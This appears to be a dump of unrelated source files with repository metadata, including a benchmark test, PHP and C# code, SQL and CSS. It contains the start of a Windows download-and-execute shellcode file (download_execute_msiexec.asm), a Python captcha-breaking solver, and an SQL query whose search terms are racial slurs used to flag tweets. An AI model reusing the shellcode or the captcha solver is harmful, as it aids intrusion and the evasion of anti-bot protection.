} | 17.692308 | 69 | 0.643478 |
6b8ae10ba121da8d911033b32eb2706f21781582 | 6,787 | cpp | C++ | src/TestSymmetry.cpp | morpheus-org/hpcg | 62501f64b83831ee01601bc9873f1ab0605199f5 | [
"BSD-3-Clause"
] | null | null | null | src/TestSymmetry.cpp | morpheus-org/hpcg | 62501f64b83831ee01601bc9873f1ab0605199f5 | [
"BSD-3-Clause"
] | null | null | null | src/TestSymmetry.cpp | morpheus-org/hpcg | 62501f64b83831ee01601bc9873f1ab0605199f5 | [
"BSD-3-Clause"
] | null | null | null | //@HEADER
// ***************************************************
//
// HPCG: High Performance Conjugate Gradient Benchmark
//
// Contact:
// Michael A. Heroux ( maherou@sandia.gov)
// Jack Dongarra (dongarra@eecs.utk.edu)
// Piotr Luszczek (luszczek@eecs.utk.edu)
//
// *******************************************... | 34.627551 | 80 | 0.652866 |
dbec2cea382b676b19daa521af9ccbf48bc90bed | 19,989 | php | PHP | Subir_Imagenes.php | nercar/preciosusd | 8070f03be4296f0279437541841a98582bcf9f51 | [
"MIT"
] | null | null | null | Subir_Imagenes.php | nercar/preciosusd | 8070f03be4296f0279437541841a98582bcf9f51 | [
"MIT"
] | null | null | null | Subir_Imagenes.php | nercar/preciosusd | 8070f03be4296f0279437541841a98582bcf9f51 | [
"MIT"
] | null | null | null | <?php
include("seguridad.php");
include("conex.php");
$su_usu = new AdminBD();
$su_usu->Conectar();
error_reporting(E_ALL);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta http-equiv="x-ua-compatible" content="ie=edge">
... | 37.786389 | 217 | 0.514733 |
add6a13dde705905327a973461d6710e9ab4b9ff | 893 | asm | Assembly | MSIEXEC/download_execute_msiexec.asm | kartikdurg/Shellcode-Windows | cf4ea40a9d143952274fdae866b00b70333dbbb3 | [
"MIT"
] | 3 | 2019-02-05T20:42:23.000Z | 2020-03-12T11:08:00.000Z | MSIEXEC/download_execute_msiexec.asm | kartikdurg/Shellcode-Windows | cf4ea40a9d143952274fdae866b00b70333dbbb3 | [
"MIT"
] | null | null | null | MSIEXEC/download_execute_msiexec.asm | kartikdurg/Shellcode-Windows | cf4ea40a9d143952274fdae866b00b70333dbbb3 | [
"MIT"
] | null | null | null | xor eax, eax ;Get the msvcrt.dll
mov ax, 0x7472 ;"tr\0\0"
push eax
push dword 0x6376736d ;"cvsm"
push esp
; LoadLibrary
mov ebx, 0x7717de85 ;Address of function LoadLibraryA (win7)
call ebx
mov ebp, eax ;msvcrt.dll is saved in ebp
xor eax, eax ;zero out EAX
PUSH e... | 27.060606 | 65 | 0.581187 |
4350b1fae6a666c7eb326de4253ee1c3f5a12705 | 30 | ts | TypeScript | core/core.ts | DevEngage/engage-data | b6d7881935d8cc11db062ec1ae14fc0734c5b1fb | [
"MIT"
] | 1 | 2018-12-19T05:49:10.000Z | 2018-12-19T05:49:10.000Z | core/core.ts | DevEngage/engage-data | b6d7881935d8cc11db062ec1ae14fc0734c5b1fb | [
"MIT"
] | null | null | null | core/core.ts | DevEngage/engage-data | b6d7881935d8cc11db062ec1ae14fc0734c5b1fb | [
"MIT"
] | null | null | null |
export class EngageCore {
} | 6 | 25 | 0.7 |
93f0954a6a79bf5704cf5fca812999e6d8a541da | 1,592 | cs | C# | src/AppGet/CreatePackage/Parsers/VersionParser.cs | shakeyourbunny/appget | 8b016568537f59412570afb64264150adca7fe7e | [
"Apache-2.0"
] | 428 | 2018-06-14T21:17:39.000Z | 2022-03-31T16:31:29.000Z | src/AppGet/CreatePackage/Parsers/VersionParser.cs | AppGet/AppGet | 822ee991670cb6ed961a1e44f0041a4eb03bcd29 | [
"Apache-2.0"
] | 70 | 2018-06-14T06:45:26.000Z | 2022-02-22T09:09:15.000Z | src/AppGet/CreatePackage/Parsers/VersionParser.cs | AppGet/AppGet | 822ee991670cb6ed961a1e44f0041a4eb03bcd29 | [
"Apache-2.0"
] | 64 | 2019-03-28T10:01:50.000Z | 2022-02-22T23:15:14.000Z | using System;
using System.Collections.Generic;
using System.Linq;
using System.Text.RegularExpressions;
namespace AppGet.CreatePackage.Parsers
{
public static class VersionParser
{
private static readonly Regex[] VersionRegexes =
{
new Regex(@"\d+(\.\d+){1,3}", RegexOptions.Compil... | 34.608696 | 139 | 0.575377 |
a19049332d93fd876fd7fc510e5d3274213d0549 | 269 | ts | TypeScript | src/api/office/office.module.ts | raphaelmj/mycms-be-web | 59ce2539ef40527d0eaa069dbc61440037ae2526 | [
"MIT"
] | null | null | null | src/api/office/office.module.ts | raphaelmj/mycms-be-web | 59ce2539ef40527d0eaa069dbc61440037ae2526 | [
"MIT"
] | null | null | null | src/api/office/office.module.ts | raphaelmj/mycms-be-web | 59ce2539ef40527d0eaa069dbc61440037ae2526 | [
"MIT"
] | null | null | null | import { Module } from '@nestjs/common';
import { OfficeController } from './office.controller';
import { ServicesModule } from '../../services/services.module';
@Module({
imports: [ServicesModule],
controllers: [OfficeController],
})
export class OfficeModule {}
| 26.9 | 64 | 0.717472 |
ae3faea5528dbc270d7cf0773acd430520c983ed | 2,670 | cs | C# | src/ZKWeb.MVVMPlugins/MVVM.Common.Organization/src/Domain/Extensions/UserExtensions.cs | zkweb-framework/ZKWeb.MVVMDemo | 7c7ae3a2df1235b2105e804e35ba8390ceb79fff | [
"MIT"
] | 94 | 2017-04-17T06:17:06.000Z | 2021-09-15T02:07:36.000Z | src/ZKWeb.MVVMPlugins/MVVM.Common.Organization/src/Domain/Extensions/UserExtensions.cs | zkweb-framework/ZKWeb.MVVMDemo | 7c7ae3a2df1235b2105e804e35ba8390ceb79fff | [
"MIT"
] | 5 | 2018-05-29T07:20:58.000Z | 2022-02-26T10:06:13.000Z | src/ZKWeb.MVVMPlugins/MVVM.Common.Organization/src/Domain/Extensions/UserExtensions.cs | zkweb-framework/ZKWeb.MVVMDemo | 7c7ae3a2df1235b2105e804e35ba8390ceb79fff | [
"MIT"
] | 30 | 2017-04-17T06:17:08.000Z | 2020-09-09T06:52:26.000Z | using System;
using System.Collections;
using System.Collections.Generic;
using System.FastReflection;
using System.Linq;
using System.Reflection;
using ZKWeb.MVVMPlugins.MVVM.Common.Organization.src.Domain.Entities;
using ZKWeb.MVVMPlugins.MVVM.Common.Organization.src.Domain.Entities.Interfaces;
using ZKWebSt... | 31.046512 | 81 | 0.529963 |
2c6f0fbf70e68f642664a33a8d58589ae4e97681 | 1,594 | py | Python | example_client/example_client.py | fermin-eb/example_service | 743c8218eebdebb17adb8c6e2353f9df42f4b1e2 | [
"Apache-2.0"
] | null | null | null | example_client/example_client.py | fermin-eb/example_service | 743c8218eebdebb17adb8c6e2353f9df42f4b1e2 | [
"Apache-2.0"
] | null | null | null | example_client/example_client.py | fermin-eb/example_service | 743c8218eebdebb17adb8c6e2353f9df42f4b1e2 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/python3
import json
import os
import sys
import attr
from pysoa.client import Client
from pysoa.common.transport.redis_gateway.constants import REDIS_BACKEND_TYPE_STANDARD
if __name__ == '__main__':
if len(sys.argv) < 2 or sys.argv[1] not in ('call_service', 'square', 'status'):
print('Usage:... | 30.075472 | 114 | 0.553325 |
0aeef81849501f9d1fb885b8263b6deb37e7b321 | 3,029 | cs | C# | Samples/Office365Api.Overview/Office365Api.Helpers/MailHelper.cs | Sollertix/PnP | 4f1172726d3a6e0e1eaeb863cb49b2f5718de6bc | [
"MIT"
] | 885 | 2015-01-02T18:31:39.000Z | 2016-11-24T23:50:41.000Z | Samples/Office365Api.Overview/Office365Api.Helpers/MailHelper.cs | Sollertix/PnP | 4f1172726d3a6e0e1eaeb863cb49b2f5718de6bc | [
"MIT"
] | 819 | 2015-01-02T09:11:13.000Z | 2016-11-25T12:21:38.000Z | Samples/Office365Api.Overview/Office365Api.Helpers/MailHelper.cs | Sollertix/PnP | 4f1172726d3a6e0e1eaeb863cb49b2f5718de6bc | [
"MIT"
] | 1,986 | 2015-01-01T18:57:14.000Z | 2016-11-25T00:52:15.000Z | using Microsoft.Office365.OutlookServices;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Office365Api.Helpers
{
public class MailHelper : BaseOffice365Helper
{
public MailHelper(AuthenticationHelper authenticationHelper) :... | 32.923913 | 87 | 0.525916 |
1a5760f9c2e25742e6a68174a2e1797f30088f0b | 3,446 | py | Python | interfazqr.py | AngelAlexQC/lector-bonilla | 63c9cbdf9dabd93d168c4b0fb59b19bba5e356fb | [
"MIT"
] | null | null | null | interfazqr.py | AngelAlexQC/lector-bonilla | 63c9cbdf9dabd93d168c4b0fb59b19bba5e356fb | [
"MIT"
] | null | null | null | interfazqr.py | AngelAlexQC/lector-bonilla | 63c9cbdf9dabd93d168c4b0fb59b19bba5e356fb | [
"MIT"
] | null | null | null | from tkinter import*
raiz=Tk()
import psycopg2
from bd import conexion
import cv2
from datetime import datetime
import time
cap = cv2.VideoCapture(0)
detector = cv2.QRCodeDetector()
control='u'
#se declara un fram dentro de la ventana con dimenciones
miFrame=Frame(raiz,width=1200, height=600)
#se empaqueta
miFrame.pac... | 35.895833 | 107 | 0.572258 |
ab52a5eb73868fd22bc5762e5f9fdc6980193418 | 602 | asm | Assembly | oeis/140/A140404.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/140/A140404.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/140/A140404.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A140404: a(n) = binomial(n+5, 5)*7^n.
; 1,42,1029,19208,302526,4235364,54353838,652246056,7419298887,80787921214,848273172747,8636963213424,85649885199788,830145041167176,7886377891088172,73606193650156272,676256904160810749,6126091955339109138,54794489156088698401,484498640959100070072,4239363108392125613130,3674114... | 54.727273 | 492 | 0.862126 |
356759a2d64d2473e198748df1bcde154065994b | 555 | sql | SQL | sql/sp/sp_emails.sql | DanielNeodata/Cementerio.Disidentes | f815158c12ff953e7cbf2270c12bcb7a705d934d | [
"MIT"
] | null | null | null | sql/sp/sp_emails.sql | DanielNeodata/Cementerio.Disidentes | f815158c12ff953e7cbf2270c12bcb7a705d934d | [
"MIT"
] | null | null | null | sql/sp/sp_emails.sql | DanielNeodata/Cementerio.Disidentes | f815158c12ff953e7cbf2270c12bcb7a705d934d | [
"MIT"
] | null | null | null | USE [disidentes_new]
GO
/****** Object: StoredProcedure [dbo].[sp_emails] Script Date: 16/5/2021 23:49:36 ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
ALTER PROCEDURE [dbo].[sp_emails](
@remite varchar(max),
@destinatario varchar(max),
@subject varchar(max),
@body varchar(max),
@toName... | 19.137931 | 94 | 0.675676 |
da3a52750bf7373a979a047098e257b328e13bbf | 722 | php | PHP | Homework Submission/Homework 2/Insert_Table_Departments.php | antarmortuzansu/CSE311L_Section_1_Summer2020_NSU | 07c4a4154601e2def114001e147e33cfe257fd3e | [
"MIT"
] | null | null | null | Homework Submission/Homework 2/Insert_Table_Departments.php | antarmortuzansu/CSE311L_Section_1_Summer2020_NSU | 07c4a4154601e2def114001e147e33cfe257fd3e | [
"MIT"
] | null | null | null | Homework Submission/Homework 2/Insert_Table_Departments.php | antarmortuzansu/CSE311L_Section_1_Summer2020_NSU | 07c4a4154601e2def114001e147e33cfe257fd3e | [
"MIT"
] | null | null | null | <?php
$conn = mysqli_connect('localhost' , 'Heisenberg', 'Antarmeth26','Homework_002');
if ($error = $conn->connect_error) {
die("Not Connected, error: " . $error);
}
$sql = "INSERT INTO Departments(Department_id, Department_Name, Manager_id, Location_id)
VALUES
(10, 'Administration', 200, 1700),
(20, 'Marke... | 23.290323 | 106 | 0.646814 |
c66e49a060bfee068df065edc564071652396da9 | 6,803 | py | Python | captcha_solver_object_detection/captcha_solver.py | gabrielmvas/captcha-solver | 94ec61ba9219fcef316d907257a5d42b20a90944 | [
"MIT"
] | null | null | null | captcha_solver_object_detection/captcha_solver.py | gabrielmvas/captcha-solver | 94ec61ba9219fcef316d907257a5d42b20a90944 | [
"MIT"
] | null | null | null | captcha_solver_object_detection/captcha_solver.py | gabrielmvas/captcha-solver | 94ec61ba9219fcef316d907257a5d42b20a90944 | [
"MIT"
] | null | null | null | from object_detection.utils import label_map_util, visualization_utils as vis_util
import tensorflow as tf
import pandas as pd
import numpy as np
import... | 47.908451 | 344 | 0.593121 |
af9003a53d4c4f8783b32f064683910bb226ed82 | 8,946 | py | Python | shipt/receipts.py | dcalacci/shipt-calculator | b53f3d09594f9ed0b0f950f8646b9ba5dae94fd9 | [
"MIT"
] | 4 | 2021-03-14T21:43:30.000Z | 2021-11-17T10:53:10.000Z | shipt/receipts.py | dcalacci/shipt-calculator | b53f3d09594f9ed0b0f950f8646b9ba5dae94fd9 | [
"MIT"
] | 3 | 2021-01-20T17:34:13.000Z | 2021-09-13T17:05:04.000Z | shipt/receipts.py | dcalacci/shipt-calculator | b53f3d09594f9ed0b0f950f8646b9ba5dae94fd9 | [
"MIT"
] | null | null | null | from PIL import Image, ImageEnhance, ImageFilter
from datetime import datetime
import pytesseract
import argparse
import cv2
import os
import glob
import pandas as pd
import numpy as np
import string
import random
import math
def strip_punc(s): return s.translate(
str.maketrans('', '', string.punctuation))
def ... | 39.409692 | 142 | 0.533646 |
7293b57a54d892d8eb4e6b11205f498da8e62a76 | 438 | cs | C# | 2021-01-07 left join in entity framework/Person.cs | jtenos/60-second-dev | 24f3e73cc57d137a699daa0e249b426a552bd1d5 | [
"CC0-1.0"
] | 2 | 2021-07-08T15:45:18.000Z | 2021-08-15T13:48:27.000Z | 2021-01-07 left join in entity framework/Person.cs | jtenos/60-second-dev | 24f3e73cc57d137a699daa0e249b426a552bd1d5 | [
"CC0-1.0"
] | null | null | null | 2021-01-07 left join in entity framework/Person.cs | jtenos/60-second-dev | 24f3e73cc57d137a699daa0e249b426a552bd1d5 | [
"CC0-1.0"
] | 4 | 2021-05-18T22:40:30.000Z | 2022-03-06T19:40:57.000Z | using System.ComponentModel.DataAnnotations;
using System.ComponentModel.DataAnnotations.Schema;
[Table("People")]
public class Person
{
[Key, DatabaseGenerated(DatabaseGeneratedOption.Identity)]
public int PersonID { get; set; }
public string FirstName { get; set; } = default!;
public int? Fa... | 31.285714 | 63 | 0.705479 |
ee8d15bd96c257b041c33ed8028b9dbc5249b23f | 449 | sql | SQL | delab/sql/find_bad_tweets.sql | juliandehne/delab | 763dbab38527e3fcc1caa5e19c74678f591fcc64 | [
"MIT"
] | null | null | null | delab/sql/find_bad_tweets.sql | juliandehne/delab | 763dbab38527e3fcc1caa5e19c74678f591fcc64 | [
"MIT"
] | 12 | 2021-11-01T07:03:15.000Z | 2022-03-31T13:03:38.000Z | delab/sql/find_bad_tweets.sql | juliandehne/delab | 763dbab38527e3fcc1caa5e19c74678f591fcc64 | [
"MIT"
] | null | null | null | select language,text from delab_tweet where to_tsvector(text) @@ to_tsquery('beaner | chinc | chink | coon | dego | gook | guido | heeb | kike | kyke | jigaboo | negro | nigger | niglet | porchmonkey | pollock | ruski | sandnigger | wop') and language='den';
select language,text from delab_tweet where to_tsvector(text)... | 112.25 | 258 | 0.728285 |
dcf3d63ccc846a7d2d072fd26c10a1679db88d50 | 54 | rb | Ruby | app/models/dictionaries/address_type.rb | LeonidMarushevskyi/CALS | 42542c93cc105751ed5b757beb84139bcc135f2d | [
"MIT",
"Ruby",
"Apache-2.0",
"BSD-3-Clause"
] | 1 | 2021-06-03T05:34:49.000Z | 2021-06-03T05:34:49.000Z | app/models/dictionaries/address_type.rb | LeonidMarushevskyi/CALS | 42542c93cc105751ed5b757beb84139bcc135f2d | [
"MIT",
"Ruby",
"Apache-2.0",
"BSD-3-Clause"
] | null | null | null | app/models/dictionaries/address_type.rb | LeonidMarushevskyi/CALS | 42542c93cc105751ed5b757beb84139bcc135f2d | [
"MIT",
"Ruby",
"Apache-2.0",
"BSD-3-Clause"
] | null | null | null | class Dictionaries::AddressType < DictionaryBase
end
| 13.5 | 48 | 0.833333 |
77817f927a0cf9941f5441a8d8ecf2c5bf9880eb | 1,127 | h | C | Frameworks/IDEFoundation/IDECodesignParameterSnapshot.h | cameroncooke/XcodeHeaders | be955d30b5fc62c4312b354045b4561d164ebd9c | [
"MIT"
] | 1 | 2016-03-30T10:07:37.000Z | 2016-03-30T10:07:37.000Z | Frameworks/IDEFoundation/IDECodesignParameterSnapshot.h | cameroncooke/XcodeHeaders | be955d30b5fc62c4312b354045b4561d164ebd9c | [
"MIT"
] | null | null | null | Frameworks/IDEFoundation/IDECodesignParameterSnapshot.h | cameroncooke/XcodeHeaders | be955d30b5fc62c4312b354045b4561d164ebd9c | [
"MIT"
] | null | null | null | //
// Generated by class-dump 3.5 (64 bit).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
//
#import "NSObject.h"
@class DVTSigningCertificate, NSString;
@interface IDECodesignParameterSnapshot : NSObject
{
id <DVTProvisioningProfile> _provisioningProfile;
DVTSign... | 32.2 | 123 | 0.781721 |
5d82b2ab1383988cec2233998bf0abb3ca909c65 | 1,157 | dart | Dart | main.dart | Ddhruv-IOT/Let-s-Gossip-code | 0ef03d8a3f6bf1317812f7fda172b3cb2959b48a | [
"MIT"
] | null | null | null | main.dart | Ddhruv-IOT/Let-s-Gossip-code | 0ef03d8a3f6bf1317812f7fda172b3cb2959b48a | [
"MIT"
] | null | null | null | main.dart | Ddhruv-IOT/Let-s-Gossip-code | 0ef03d8a3f6bf1317812f7fda172b3cb2959b48a | [
"MIT"
] | null | null | null | import 'package:whatschat/maps.dart';
import 'splash.dart';
import 'package:flutter/material.dart';
import 'package:firebase_core/firebase_core.dart';
import 'home.dart';
import 'register.dart';
import 'login.dart';
import 'chat.dart';
import 'location.dart';
//import 'myimage_camera.dart';
void main() {
... | 29.666667 | 77 | 0.589455 |
a0770e77657585d618ea2e03af953d28e493fd4f | 743 | swift | Swift | SwiftWamp/Messages/PubSub/Subscriber/UnsubscribeSwampMessage.swift | theochemel/SwiftWamp | 71d10ba8dad07a9420b045873545ce960a2cc9cb | [
"MIT"
] | null | null | null | SwiftWamp/Messages/PubSub/Subscriber/UnsubscribeSwampMessage.swift | theochemel/SwiftWamp | 71d10ba8dad07a9420b045873545ce960a2cc9cb | [
"MIT"
] | null | null | null | SwiftWamp/Messages/PubSub/Subscriber/UnsubscribeSwampMessage.swift | theochemel/SwiftWamp | 71d10ba8dad07a9420b045873545ce960a2cc9cb | [
"MIT"
] | 1 | 2019-08-31T07:38:30.000Z | 2019-08-31T07:38:30.000Z | //
// UnsubscribeSwampMessage.swift
// Pods
//
// Created by Yossi Abraham on 24/08/2016.
//
//
import Foundation
/// [UNSUBSCRIBE, requestId|number, subscription|number]
class UnsubscribeSwampMessage: SwampMessage {
let type: SwampMessageType = .unsubscribe
let requestId: Int
let subscription: NSNum... | 21.228571 | 70 | 0.66218 |
81b86e64e6951416c487d33c6c9efa699bcd2df4 | 2,168 | swift | Swift | Sources/SoundpipeAudioKit/Effects/VariableDelay.swift | Moriquendi/SoundpipeAudioKit | 086653b852094586f11c84d48286beae1e2b0929 | [
"MIT"
] | 30 | 2021-05-21T14:09:12.000Z | 2022-03-17T16:12:09.000Z | Sources/SoundpipeAudioKit/Effects/VariableDelay.swift | Moriquendi/SoundpipeAudioKit | 086653b852094586f11c84d48286beae1e2b0929 | [
"MIT"
] | 12 | 2021-05-29T06:56:08.000Z | 2022-01-29T15:59:06.000Z | Sources/SoundpipeAudioKit/Effects/VariableDelay.swift | Moriquendi/SoundpipeAudioKit | 086653b852094586f11c84d48286beae1e2b0929 | [
"MIT"
] | 19 | 2021-06-10T03:30:07.000Z | 2022-03-22T16:48:04.000Z | // Copyright AudioKit. All Rights Reserved. Revision History at http://github.com/AudioKit/AudioKit/
// This file was auto-autogenerated by scripts and templates at http://github.com/AudioKit/AudioKitDevTools/
import AVFoundation
import AudioKit
import AudioKitEX
import CSoundpipeAudioKit
/// A delay line with cubic ... | 30.111111 | 108 | 0.654059 |
54fede4e6e6c93355e88c1c9098476e86f428f8b | 890 | css | CSS | frontend/web/public/css/pagecss.css | zcwzz/gittao | fa776047adacadc2eb1fda6c6e47eb592abf5821 | [
"BSD-3-Clause"
] | null | null | null | frontend/web/public/css/pagecss.css | zcwzz/gittao | fa776047adacadc2eb1fda6c6e47eb592abf5821 | [
"BSD-3-Clause"
] | null | null | null | frontend/web/public/css/pagecss.css | zcwzz/gittao | fa776047adacadc2eb1fda6c6e47eb592abf5821 | [
"BSD-3-Clause"
] | null | null | null | .tcdPageCode{
padding: 15px 20px;
text-align: left;
color: #ccc;
}
.tcdPageCode a{
display: inline-block;
color: #666;
display: inline-block;
height: 25px;
line-height: 25px;
padding: 5px 15px;
border: 1px solid #ddd;
margin-right: 10px;
border-radius: 4px;
vertical-align: middle;
background-color: #fff;
... | 19.347826 | 33 | 0.708989 |
2c62f406122f411034e72c66b8c2b1d7643ab8be | 5,239 | py | Python | Experiments/CodeBert_CodeToText/Preprocessing/jsonl_to_java.py | wubero/Lampion | 8a81b3381dee48ffab8cf7ee1b57e0eea8aaeba2 | [
"MIT"
] | 1 | 2022-02-20T11:42:18.000Z | 2022-02-20T11:42:18.000Z | Experiments/CodeBert_CodeToText/Preprocessing/jsonl_to_java.py | ciselab/Lampion | ba457d152a83e9b58072ec4676cc340b5b5afb1b | [
"MIT"
] | 28 | 2021-12-06T07:10:27.000Z | 2022-03-25T09:42:51.000Z | Experiments/CodeBert_CodeToText/Preprocessing/jsonl_to_java.py | wubero/Lampion | 8a81b3381dee48ffab8cf7ee1b57e0eea8aaeba2 | [
"MIT"
] | 2 | 2021-11-25T08:32:45.000Z | 2022-02-20T11:42:27.000Z | import jsonlines # For adressing json values as dictionaries in jsonl files
import os # For File/Directory Creation
import sys # For handling command args
"""
Notes:
The filename needs to be class+function as otherwise they will overwrite each other
"""
#TODO: Add a bit of debug info
def readJs... | 41.912 | 111 | 0.683718 |
f95562523b9fa2158501687fbdb772073ea275a2 | 6,235 | go | Go | utils/wal.go | homingway/hickwall | 2e1063aa3cf5eeee29adc3a494c3633ec8fc4e0c | [
"Apache-2.0"
] | 2 | 2016-10-21T12:24:49.000Z | 2017-03-30T06:04:51.000Z | utils/wal.go | homingway/hickwall | 2e1063aa3cf5eeee29adc3a494c3633ec8fc4e0c | [
"Apache-2.0"
] | null | null | null | utils/wal.go | homingway/hickwall | 2e1063aa3cf5eeee29adc3a494c3633ec8fc4e0c | [
"Apache-2.0"
] | 1 | 2019-01-14T07:09:16.000Z | 2019-01-14T07:09:16.000Z | package utils
import (
"bufio"
"bytes"
"fmt"
"io"
"io/ioutil"
"os"
// "path"
"path/filepath"
"sort"
"strconv"
"strings"
"sync"
"time"
)
type Wal struct {
lock sync.Mutex
filename string // should be set to the actual filename
fp *os.File
max_size_kb int64 // max size in kb
max_rol... | 18.836858 | 93 | 0.615557 |
d310bafd38f4867ca68c0927fe1c06ca477bae33 | 1,194 | cs | C# | YouGe.Core.DbContexts/YouGeUnitWork.cs | chenqiangdage/YouGe.Core | 72e19fc1efac5ece86cef10f3c9c770deb0b42ae | [
"MIT"
] | null | null | null | YouGe.Core.DbContexts/YouGeUnitWork.cs | chenqiangdage/YouGe.Core | 72e19fc1efac5ece86cef10f3c9c770deb0b42ae | [
"MIT"
] | null | null | null | YouGe.Core.DbContexts/YouGeUnitWork.cs | chenqiangdage/YouGe.Core | 72e19fc1efac5ece86cef10f3c9c770deb0b42ae | [
"MIT"
] | 1 | 2021-06-21T12:48:15.000Z | 2021-06-21T12:48:15.000Z | using Microsoft.EntityFrameworkCore.Storage;
using System;
using System.Collections.Generic;
using System.Text;
using YouGe.Core.Interface.IDbContexts;
namespace YouGe.Core.DbContexts
{
public class YouGeUnitWork: IYouGeUnitWork
{
public IYouGeDbContext _baseDbContext;
public YouGeUnitWork(IYo... | 25.956522 | 83 | 0.539363 |
7478201dcafc8a2a68729a6ccd13ac1cff279ed7 | 5,348 | css | CSS | public/static/wap/css/44.873f484cbdb7c889c5a2.css | yuan954/falv | 2c8ba437dbc0c84d967d61a820ef15073d14ba07 | [
"Apache-2.0"
] | null | null | null | public/static/wap/css/44.873f484cbdb7c889c5a2.css | yuan954/falv | 2c8ba437dbc0c84d967d61a820ef15073d14ba07 | [
"Apache-2.0"
] | null | null | null | public/static/wap/css/44.873f484cbdb7c889c5a2.css | yuan954/falv | 2c8ba437dbc0c84d967d61a820ef15073d14ba07 | [
"Apache-2.0"
] | null | null | null | .titleBox[data-v-77b08f5f]{width:7.5rem;height:.88rem;line-height:.88rem;background:#fff;padding:0 .2rem 0 .18rem;color:#1972ea;z-index:10}.titleBox[data-v-77b08f5f] img{width:.44rem;height:.44rem;vertical-align:middle}.titleBox .is-right[data-v-77b08f5f] img{position:absolute;right:.22rem;top:.22rem}.titleBox .is-lef... | 5,348 | 5,348 | 0.791324 |
44d3312e0e689e20afc922d73b6c979b13bbce15 | 1,802 | lua | Lua | luigi/hooker.lua | poke1024/luigi | a909e037a5e8464ea33be305081408470b08bd3e | [
"MIT"
] | 119 | 2015-10-22T00:19:02.000Z | 2022-03-13T15:54:19.000Z | luigi/hooker.lua | poke1024/luigi | a909e037a5e8464ea33be305081408470b08bd3e | [
"MIT"
] | 87 | 2019-03-28T03:35:16.000Z | 2021-12-18T01:21:17.000Z | luigi/hooker.lua | poke1024/luigi | a909e037a5e8464ea33be305081408470b08bd3e | [
"MIT"
] | 24 | 2015-10-22T00:19:05.000Z | 2022-02-02T07:04:05.000Z | local Hooker = {}
local wrapped = setmetatable({}, { __mode = 'k' })
local hooks = setmetatable({}, { __mode = 'k' })
local function unhook (item)
if item.prev then
item.prev.next = item.next
end
if item.next then
item.next.prev = item.prev
end
if hooks[item.host][item.key] == i... | 19.586957 | 50 | 0.523307 |
da1581bf80ab01e34e4cd6936905f2fbd21f42fd | 2,251 | php | PHP | src/applications/packages/query/PhabricatorPackagesVersionSearchEngine.php | hach-que/phabricator | 69e0a3ffcc3815eca6629f4dbbdb84a7fda3531d | [
"Apache-2.0"
] | null | null | null | src/applications/packages/query/PhabricatorPackagesVersionSearchEngine.php | hach-que/phabricator | 69e0a3ffcc3815eca6629f4dbbdb84a7fda3531d | [
"Apache-2.0"
] | null | null | null | src/applications/packages/query/PhabricatorPackagesVersionSearchEngine.php | hach-que/phabricator | 69e0a3ffcc3815eca6629f4dbbdb84a7fda3531d | [
"Apache-2.0"
] | null | null | null | <?php
final class PhabricatorPackagesVersionSearchEngine
extends PhabricatorApplicationSearchEngine {
public function getResultTypeDescription() {
return pht('Package Versions');
}
public function getApplicationClassName() {
return 'PhabricatorPackagesApplication';
}
public function newQuery() {... | 25.292135 | 72 | 0.660595 |
dd983da6968dcd19725ffa8bd7f7734dc6463e7a | 10,167 | py | Python | pedrec/tools/resultwriters/h36m_to_results.py | noboevbo/PedRec | 891d19bd6a2c7a7d71c2e41d37e7b4c4bfc7762e | [
"MIT"
] | 1 | 2022-03-09T01:24:10.000Z | 2022-03-09T01:24:10.000Z | pedrec/tools/resultwriters/h36m_to_results.py | noboevbo/PedRec | 891d19bd6a2c7a7d71c2e41d37e7b4c4bfc7762e | [
"MIT"
] | null | null | null | pedrec/tools/resultwriters/h36m_to_results.py | noboevbo/PedRec | 891d19bd6a2c7a7d71c2e41d37e7b4c4bfc7762e | [
"MIT"
] | null | null | null | import os
import sys
from pathlib import Path
from pedrec.datasets.pedrec_dataset import PedRecDataset
from pedrec.training.experiments.experiment_initializer import initialize_weights_with_same_name_and_shape
sys.path.append(".")
from torch.utils.data import DataLoader
from pedrec.networks.net_pedrec.pedrec_net im... | 45.186667 | 120 | 0.643356 |
58428f9a396ca0fba7e947a0066dc3d9795bb816 | 2,391 | css | CSS | multi-purpose-board/src/app/core/header/header.component.css | Shtekata/Kanban-Board | dfab9086d0a75022bab4bb778edf9b324692f5da | [
"MIT"
] | null | null | null | multi-purpose-board/src/app/core/header/header.component.css | Shtekata/Kanban-Board | dfab9086d0a75022bab4bb778edf9b324692f5da | [
"MIT"
] | null | null | null | multi-purpose-board/src/app/core/header/header.component.css | Shtekata/Kanban-Board | dfab9086d0a75022bab4bb778edf9b324692f5da | [
"MIT"
] | null | null | null | @import url('https://fonts.googleapis.com/css2?family=Texturina:ital,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1,200;1,300;1,400;1,500;1,600;1,700;1,800;1,900&display=swap');
header {
background: linear-gradient(0deg, rgb(182, 179, 0) 0%, rgb(40, 0, 182) 35%, rgb(255, 0, 84) 100%);
positi... | 16.72028 | 197 | 0.552488 |
2c4203c788bae20329c3c432c52b90e0ed71b658 | 2,474 | py | Python | api/tests/audit_log/favourite/test_get_favourite_logs.py | nzediegwu1/favourites-backend | ad3587795d1dd44d350879364d443c43b727ca0c | [
"MIT"
] | 2 | 2019-08-05T08:03:05.000Z | 2021-10-03T16:36:31.000Z | api/tests/audit_log/favourite/test_get_favourite_logs.py | nzediegwu1/favourites-backend | ad3587795d1dd44d350879364d443c43b727ca0c | [
"MIT"
] | 8 | 2020-02-12T00:56:35.000Z | 2022-02-10T12:12:31.000Z | api/tests/audit_log/favourite/test_get_favourite_logs.py | nzediegwu1/favorite-things | ad3587795d1dd44d350879364d443c43b727ca0c | [
"MIT"
